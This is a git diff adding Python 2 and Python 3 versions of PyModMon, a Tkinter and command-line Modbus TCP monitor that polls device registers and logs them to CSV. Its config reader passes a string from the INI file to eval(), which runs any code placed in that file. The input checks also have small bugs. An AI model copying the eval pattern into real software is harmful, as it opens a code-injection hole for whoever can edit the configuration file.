check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data 